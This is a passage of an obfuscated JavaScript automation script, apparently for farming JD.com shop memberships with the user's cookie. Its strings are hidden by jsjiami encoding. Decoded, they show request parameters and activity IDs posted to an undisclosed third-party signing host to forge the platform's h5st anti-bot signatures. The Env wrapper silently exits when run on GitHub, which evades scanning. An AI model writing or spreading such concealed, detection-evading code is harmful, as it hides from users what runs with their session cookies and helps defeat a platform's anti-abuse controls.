_0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x2521=[_0xod2,'\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x61\x30\x70\x69\x59\x32\x67\x3d','\x64\x30\x6c\x71\x59\x55\x30\x3d','\x53\x46\x6c\x48\x5a\x6e\x41\x3d','\x53\x31\x4e\x45\x56\x45\x6f\x3d','\x65\x57\x70\x36\x51\x6b\x59\x3d','\x56\x6b\x4e\x4a\x54\x46\x6b\x3d','\x57\x6d\x5a\x6b\x57\x47\x38\x3d','\x62\x55\x5a\x70\x5a\x32\x34\x3d','\x65\x6e\x52\x6a\x65\x47\x4d\x3d','\x53\x46\x52\x42\x52\x45\x51\x3d','\x63\x30\x52\x74\x63\x6b\x34\x3d','\x64\x47\x4e\x32\x64\x6d\x6f\x3d','\x51\x6b\x56\x52\x64\x45\x30\x3d','\x64\x6e\x5a\x61\x51\x58\x4d\x3d','\x57\x57\x56\x77\x54\x31\x63\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x57\x57\x78\x42\x64\x6d\x67\x3d','\x59\x58\x52\x70\x63\x46\x6f\x3d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x55\x56\x52\x45\x52\x31\x59\x3d','\x56\x57\x5a\x6a\x61\x32\x59\x3d','\x64\x30\x64\x35\x63\x32\x30\x3d','\x5a\x56\x42\x70\x59\x55\x34\x3d','\x61\x6d\x56\x6c\x62\x45\x77\x3d','\x64\x56\x56\x69\x63\x6d\x6f\x3d','\x5a\x30\x52\x43\x64\x56\x67\x3d','\x62\x31\x52\x42\x62\x6b\x73\x3d','\x59\x6e\x5a\x34\x62\x6b\x49\x3d','\x53\x46\x4a\x46\x59\x32\x51\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x64\x58\x70\x79\x59\x55\x34\x3d','\x53\x45\x39\x77\x52\x46\x45\x3d','\x62\x48\x4e\x72\x63\x45\x55\x3d','\x61\x45\x74\x35\x54\x6b\x4d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x55\x57\x31\x50\x63\x6c\x51\x3d','\x64\x55\x4a\x30\x62\x6b\x63\x3d','\x63\x31\x56\x47\x52\x45\x34\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x61\x31\x6c\x51\x52\x6c\x49\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x63\x6c\x5a\x56\x62\x46\x6b\x3d','\x56\x30\x56\x31\x51\x6c\x49\x3d','\x63\x57\x5a\x48\x54\x48\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x52\x55\x64\x6f\x52\x33\x63\x3d','\x55\x6b\x52\x32\x56\x32\x73\x3d','\x59\x56\x4e\x6c\x52\x30\x4d\x3d','\x64\x31\x4e\x4f\x55\x48\x63\x3d','\x63\x33\x5a\x71\x53\x30\x67\x3d','\x52\x55\x78\x75\x63\x56\x59\x3d','\x56\x47\x64\x6c\x62\x57\x38\x3d','\x59\x58\x4e\x33\x59\x33\x59\x3d','\x51\x6b\x39\x58\x62\x58\x45\x3d','\x54\x6b\x70\x44\x59\x6d\x73\x3d','\x61\x33\x70\x47\x57\x45\x55\x3d','\x53\x47\x46\x48\x56\x57\x59\x3d','\x63\x6e\x42\x56\x52\x58\x41\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x57\x6e\x6c\x76\x61\x57\x73\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x5a\x56\x64\x6b\x55\x6d\x55\x3d','\x52\x56\x4e\x31\x65\x57\x6f\x3d','\x55\x30\x56\x5a\x65\x6c\x6f\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x53\x55\x4e\x55\x55\x47\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x54\x47\x46\x4e\x59\x32\x34\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x6b\x6c\x5a\x63\x57\x77\x3d','\x5a\x46\x4e\x51\x64\x45\x59\x3d','\x5a\x56\x68\x4e\x5a\x58\x6f\x3d','\x5a\x32\x56\x30','\x56\x45\x5a\x6f\x57\x57\x38\x3d','\x64\x57\x4e\x32\x61\x6d\x45\x3d','\x52\x55\x4e\x7a\x56\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x53\x6c\x70\x42\x5a\x6c\x63\x3d','\x53\x46\x46\x44\x5a\x45\x59\x3d','\x62\x48\x56\x55\x63\x6d\x51\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x62\x6d\x4a\x71\x63\x6d\x38\x3d','\x55\x58\x52\x47\x61\x56\x67\x3d','\x52\x46\x6c\x31\x63\x57\x63\x3d','\x54\x57\x5a\x44\x62\x6d\x38\x3d','\x59\x6e\x5a\x59\x57\x46\x6f\x3d','\x56\x6b\x6c\x55\x63\x46\x51\x3d','\x51\x33\x46\x4c\x51\x6c\x67\x3d','\x56\x56\x4e\x76\x5a\x45\x59\x3d','\x52\x47\x6c\x32\x54\x58\x59\x3d','\x56\x48\x6c\x6e\x5a\x6d\x30\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x55\x32\x64\x74\x57\x46\x59\x3d','\x5a\x6d\x35\x42\x61\x32\x6b\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x62\x47\x52\x52\x62\x32\x30\x3d','\x54\x55\x70\x53\x63\x45\x63\x3d','\x54\x55\x4e\x6f\x53\x6c\x59\x3d','\x57\x47\x6c\x4b\x63\x6c\x63\x3d','\x6a\x73\x6a\x4b\x7a\x71\x69\x44\x61\x6d\x59\x69\x46\x2e\x52\x4a\x63\x6f\x4f\x65\x6d\x2e\x76\x51\x36\x4b\x43\x62\x3d\x3d'];if(function(_0x2277b4,_0x973061,_0x28df6a){function _0x5bdc51(_0x41f15a,_0x1112ff,_0x8c36a8,_0x1f3f77,_0x1ecf84,_0x5be323){_0x1112ff=_0x1112ff>>0x8,_0x1ecf84='po';var _0x2744bc='shift',_0x2fe2d3='push',_0x5be323='‮';if(_0x1112ff<_0x41f15a){while(--_0x41f15a){_0x1f3f77=_0x2277b4[_0x2744bc]();if(_0x1112ff===_0x41f15a&&_0x5be323==='‮'&&_0x5be323['length']===0x1){_0x1112ff=_0x1f3f77,_0x8c36a8=_0x2277b4[_0x1ecf84+'p']();}else if(_0x1112ff&&_0x8c36a8['replace'](/[KzqDYFRJOeQKCb=]/g,'')===_0x1112ff){_0x2277b4[_0x2fe2d3](_0x1f3f77);}}_0x2277b4[_0x2fe2d3](_0x2277b4[_0x2744bc]());}return 0xde733;};return _0x5bdc51(++_0x973061,_0x28df6a)>>_0x973061^_0x28df6a;}(_0x2521,0x136,0x13600),_0x2521){_0xod2_=_0x2521['length']^0x136;};function _0x219b(_0x19cca3,_0xd01416){_0x19cca3=~~'0x'['concat'](_0x19cca3['slice'](0x1));var _0x5e241a=_0x2521[_0x19cca3];if(_0x219b['SQLhKl']===undefined&&'‮'['length']===0x1){(function(){var _0x2a4157;try{var _0x1a3b6e=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2a4157=_0x1a3b6e();}catch(_0x5649f7){_0x2a4157=window;}var _0x41452e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2a4157['atob']||(_0x2a4157['atob']=function(_0x2e050a){var _0x44c966=String(_0x2e050a)['replace'](/=+$/,'');for(var _0xd76250=0x0,_0x14d201,_0x5e06c3,_0x19370a=0x0,_0x2309e9='';_0x5e06c3=_0x44c966['charAt'](_0x19370a++);~_0x5e06c3&&(_0x14d201=_0xd76250%0x4?_0x14d201*0x40+_0x5e06c3:_0x5e06c3,_0xd76250++%0x4)?_0x2309e9+=String['fromCharCode'](0xff&_0x14d201>>(-0x2*_0xd76250&0x6)):0x0){_0x5e06c3=_0x41452e['indexOf'](_0x5e06c3);}return _0x2309e9;});}());_0x219b['cHEEak']=function(_0x1d83d8){var _0x5d1157=atob(_0x1d83d8);var _0x557fcf=[];for(var _0xa1d923=0x0,_0x302be1=_0x5d1157['length'];_0xa1d923<_0x302be1;_0xa1d923++){_0x557fcf+='%'+('00'+_0x5d1157['charCodeAt'](_0xa1d923)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x557fcf);};_0x219b['yVqUlS']={};_0x219b['SQLhKl']=!![];}var _0x1eab5b=_0x219b['yVqUlS'][_0x19cca3];if(_0x1eab5b===undefined){_0x5e241a=_0x219b['cHEEak'](_0x5e241a);_0x219b['yVqUlS'][_0x19cca3]=_0x5e241a;}else{_0x5e241a=_0x1eab5b;}return _0x5e241a;};function getShopOpenCardInfo(_0x427ea7,_0xd8a74){var _0x57a1ec={'\x54\x46\x68\x59\x6f':function(_0x3bf920,_0xb95601){return _0x3bf920!==_0xb95601;},'\x75\x63\x76\x6a\x61':_0x219b('‮0'),'\x45\x43\x73\x56\x79':_0x219b('‫1'),'\x4a\x5a\x41\x66\x57':_0x219b('‮2'),'\x48\x51\x43\x64\x46':_0x219b('‫3'),'\x6c\x75\x54\x72\x64':_0x219b('‫4'),'\x6e\x62\x6a\x72\x6f':function(_0x1ae4cf,_0x16a0a7){return _0x1ae4cf===_0x16a0a7;},'\x51\x74\x46\x69\x58':_0x219b('‮5'),'\x4d\x66\x43\x6e\x6f':function(_0x524909,_0xd1e9e6){return _0x524909===_0xd1e9e6;},'\x62\x76\x58\x58\x5a':_0x219b('‮6'),'\x56\x49\x54\x70\x54':function(_0x4fae49){return _0x4fae49();},'\x5a\x79\x6f\x69\x6b':function(_0x21d446,_0x2a69bc){return _0x21d446(_0x2a69bc);},'\x64\x53\x50\x74\x46':function(_0x361710,_0x4e7aec){return _0x361710===_0x4e7aec;},'\x65\x58\x4d\x65\x7a':_0x219b('‫7'),'\x65\x57\x64\x52\x65':_0x219b('‮8'),'\x45\x53\x75\x79\x6a':_0x219b('‫9'),'\x53\x45\x59\x7a\x5a':_0x219b('‫a'),'\x49\x43\x54\x50\x66':_0x219b('‮b'),'\x4c\x61\x4d\x63\x6e':function(_0x4511c8,_0x436c7f){return _0x4511c8(_0x436c7f);},'\x66\x49\x59\x71\x6c':_0x219b('‫c')};let _0x43735d={'\x75\x72\x6c':_0x219b('‮d')+_0x57a1ec[_0x219b('‮e')](encodeURIComponent,JSON[_0x219b('‫f')](_0x427ea7))+_0x219b('‫10'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x57a1ec[_0x219b('‮11')],'\x41\x63\x63\x65\x70\x74':_0x57a1ec[_0x219b('‫12')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x57a1ec[_0x219b('‮13')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x57a1ec[_0x219b('‫19')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0xd8a74+_0x219b('‫1b')+_0x57a1ec[_0x219b('‫1c')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x57a1ec[_0x219b('‮1e')]}};return new Promise(_0x4d8528=>{var _0x4a857c={'\x44\x59\x75\x71\x67':function(_0x1cc541,_0x551ac5){return _0x57a1ec[_0x219b('‮e')](_0x1cc541,_0x551ac5);}};if(_0x57a1ec[_0x219b('‫1f')](_0x57a1ec[_0x219b('‫20')],_0x57a1ec[_0x219b('‫20')])){$[_0x219b('‮21')](_0x43735d,(_0x42bd53,_0xba57c8,_0x114bc1)=>{try{if(_0x42bd53){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮23')],_0x57a1ec[_0x219b('‮24')])){console[_0x219b('‫25')](_0x42bd53);}else{res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‫2d')],_0x57a1ec[_0x219b('‮2e')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮2f')],_0x57a1ec[_0x219b('‮2f')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}catch(_0x435943){if(_0x57a1ec[_0x219b('‮32')](_0x57a1ec[_0x219b('‮33')],_0x57a1ec[_0x219b('‮33')])){console[_0x219b('‫25')](_0x435943);}else{_0x4a857c[_0x219b('‮34')](_0x4d8528,_0x114bc1);}}finally{if(_0x57a1ec[_0x219b('‫35')](_0x57a1ec[_0x219b('‮36')],_0x57a1ec[_0x219b('‮36')])){_0x57a1ec[_0x219b('‮37')](_0x4d8528);}else{if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}});}else{console[_0x219b('‫25')](err);}});}async function bindWithVender(_0x6a4f96,_0x2eb643){var _0x5c8438={'\x48\x59\x47\x66\x70':function(_0x343f54,_0x48d0e2){return _0x343f54===_0x48d0e2;},'\x4b\x53\x44\x54\x4a':_0x219b('‫38'),'\x79\x6a\x7a\x42\x46':function(_0x3b41cd,_0x4dfdef){return _0x3b41cd===_0x4dfdef;},'\x56\x43\x49\x4c\x59':_0x219b('‫39'),'\x5a\x66\x64\x58\x6f':_0x219b('‫3a'),'\x6d\x46\x69\x67\x6e':function(_0xb6e3d8,_0x23686f){return _0xb6e3d8===_0x23686f;},'\x7a\x74\x63\x78\x63':_0x219b('‫3b'),'\x48\x54\x41\x44\x44':function(_0xb2175d){return _0xb2175d();},'\x53\x67\x6d\x58\x56':function(_0x5c652b,_0x377eb0,_0x40b9c8){return _0x5c652b(_0x377eb0,_0x40b9c8);},'\x66\x6e\x41\x6b\x69':_0x219b('‫3c'),'\x6c\x64\x51\x6f\x6d':_0x219b('‮8'),'\x4d\x4a\x52\x70\x47':_0x219b('‫9'),'\x4d\x43\x68\x4a\x56':_0x219b('‫a'),'\x58\x69\x4a\x72\x57':_0x219b('‮b'),'\x6b\x4a\x62\x63\x68':function(_0x43c66b,_0x13d811){return _0x43c66b(_0x13d811);},'\x77\x49\x6a\x61\x4d':_0x219b('‫c')};return h5st=await _0x5c8438[_0x219b('‫3d')](geth5st,_0x5c8438[_0x219b('‫3e')],_0x6a4f96),opt={'\x75\x72\x6c':_0x219b('‮3f')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8438[_0x219b('‮40')],'\x41\x63\x63\x65\x70\x74':_0x5c8438[_0x219b('‮41')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8438[_0x219b('‫42')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x5c8438[_0x219b('‮43')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0x2eb643+_0x219b('‮44')+_0x5c8438[_0x219b('‫45')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x5c8438[_0x219b('‫46')]}},new Promise(_0x215897=>{$[_0x219b('‮21')](opt,(_0x52284b,_0x327a7e,_0x1bb051)=>{try{if(_0x52284b){if(_0x5c8438[_0x219b('‫47')](_0x5c8438[_0x219b('‫48')],_0x5c8438[_0x219b('‫48')])){console[_0x219b('‫25')](_0x52284b);}else{console[_0x219b('‫25')](error);}}else{if(_0x5c8438[_0x219b('‮49')](_0x5c8438[_0x219b('‮4a')],_0x5c8438[_0x219b('‫4b')])){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}catch(_0x55bfed){if(_0x5c8438[_0x219b('‮4c')](_0x5c8438[_0x219b('‮4d')],_0x5c8438[_0x219b('‮4d')])){console[_0x219b('‫25')](_0x55bfed);}else{if(_0x52284b){console[_0x219b('‫25')](_0x52284b);}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}finally{_0x5c8438[_0x219b('‮4e')](_0x215897);}});});}function geth5st(_0x1103d7,_0x586621){var _0x430883={'\x51\x54\x44\x47\x56':function(_0x1e7d03){return _0x1e7d03();},'\x55\x66\x63\x6b\x66':function(_0x5ab017,_0x2b8838){return _0x5ab017*_0x2b8838;},'\x77\x47\x79\x73\x6d':function(_0x5935c8,_0x185779){return _0x5935c8!==_0x185779;},'\x65\x50\x69\x61\x4e':_0x219b('‫4f'),'\x6a\x65\x65\x6c\x4c':_0x219b('‮50'),'\x75\x55\x62\x72\x6a':function(_0x1a5aa8,_0x52ae2c){return _0x1a5aa8===_0x52ae2c;},'\x67\x44\x42\x75\x58':_0x219b('‫51'),'\x6f\x54\x41\x6e\x4b':_0x219b('‫52'),'\x62\x76\x78\x6e\x42':function(_0xa50297,_0x6b8ce2){return _0xa50297(_0x6b8ce2);},'\x48\x52\x45\x63\x64':_0x219b('‮53'),'\x75\x7a\x72\x61\x4e':_0x219b('‮54'),'\x48\x4f\x70\x44\x51':_0x219b('‫55'),'\x6c\x73\x6b\x70\x45':_0x219b('‮56'),'\x68\x4b\x79\x4e\x43':_0x219b('‮57'),'\x51\x6d\x4f\x72\x54':_0x219b('‫58'),'\x75\x42\x74\x6e\x47':_0x219b('‮59'),'\x6b\x59\x50\x46\x52':_0x219b('‮5a')};return new Promise(async _0x255c7d=>{var _0x373d32={'\x73\x55\x46\x44\x4e':function(_0x16c255){return _0x430883[_0x219b('‫5b')](_0x16c255);},'\x45\x47\x68\x47\x77':function(_0x2bd73b,_0xef9125){return _0x430883[_0x219b('‮5c')](_0x2bd73b,_0xef9125);},'\x72\x56\x55\x6c\x59':function(_0x3d06bf,_0x4e3e01){return _0x430883[_0x219b('‫5d')](_0x3d06bf,_0x4e3e01);},'\x57\x45\x75\x42\x52':_0x430883[_0x219b('‮5e')],'\x71\x66\x47\x4c\x74':_0x430883[_0x219b('‫5f')],'\x52\x44\x76\x57\x6b':function(_0xd1e750,_0x1d575d){return _0x430883[_0x219b('‫60')](_0xd1e750,_0x1d575d);},'\x61\x53\x65\x47\x43':_0x430883[_0x219b('‮61')],'\x77\x53\x4e\x50\x77':_0x430883[_0x219b('‮62')],'\x73\x76\x6a\x4b\x48':function(_0x2a1cfb,_0x46f22f){return _0x430883[_0x219b('‮63')](_0x2a1cfb,_0x46f22f);}};if(_0x430883[_0x219b('‫5d')](_0x430883[_0x219b('‮64')],_0x430883[_0x219b('‮64')])){$[_0x219b('‫65')](e,resp);}else{let _0x30ff4={'\x61\x70\x70\x49\x64':_0x430883[_0x219b('‮66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x430883[_0x219b('‮67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1103d7,'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x586621),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x430883[_0x219b('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x219b('‫2c')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2be600='';let _0xb852e3=[_0x430883[_0x219b('‮69')]];if(process[_0x219b('‫6a')][_0x219b('‮6b')]){if(_0x430883[_0x219b('‫60')](_0x430883[_0x219b('‮6c')],_0x430883[_0x219b('‫6d')])){_0x373d32[_0x219b('‮6e')](_0x255c7d);}else{_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x430883[_0x219b('‮5c')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}let _0x1ba80c={'\x75\x72\x6c':_0x219b('‮72'),'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x30ff4),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2be600,'Content-Type':_0x430883[_0x219b('‫73')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x430883[_0x219b('‮5c')](0x1e,0x3e8)};$[_0x219b('‫74')](_0x1ba80c,async(_0x46941b,_0x74988f,_0x30ff4)=>{try{if(_0x46941b){if(_0x373d32[_0x219b('‮75')](_0x373d32[_0x219b('‮76')],_0x373d32[_0x219b('‫77')])){_0x30ff4=await geth5st[_0x219b('‮78')](this,arguments);}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x373d32[_0x219b('‮79')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}}else{}}catch(_0x290dbf){$[_0x219b('‫65')](_0x290dbf,_0x74988f);}finally{if(_0x373d32[_0x219b('‫7a')](_0x373d32[_0x219b('‫7b')],_0x373d32[_0x219b('‮7c')])){_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}else{_0x373d32[_0x219b('‮7d')](_0x255c7d,_0x30ff4);}}});}});};_0xod2='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const 